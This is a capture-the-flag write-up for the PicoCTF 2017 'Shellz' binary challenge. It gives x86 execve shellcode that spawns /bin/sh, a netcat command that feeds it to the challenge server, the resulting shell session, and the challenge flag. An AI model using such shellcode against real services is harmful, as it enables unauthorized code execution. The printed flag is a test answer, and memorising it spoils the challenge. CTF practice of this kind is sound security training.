PicoCTF_2017: Shellz

Category: Binary Points: 55 Description:

You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:12562.

Hint:

There is a bunch of preexisting shellcode already out there!

Write-up

The biggest problem with this challenge is the limited amount of shellcodes that would actually work here. It probably took me like 15 tries before I got the correct shellcode. So first, prepare the payload.

python -c "print('\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80')" > payload

Then, use the payload like this

cat payload - | nc shell2017.picoctf.com 12562
My mother told me to never accept things from strangers
How bad could running a couple bytes be though?
Give me 40 bytes:
ls
flag.txt
shellz
shellz_no_aslr
xinetd_wrapper.sh
cat flag.txt
a15898b0a97abc19164f240407d6c51b

Therefore, the flag is a15898b0a97abc19164f240407d6c51b.

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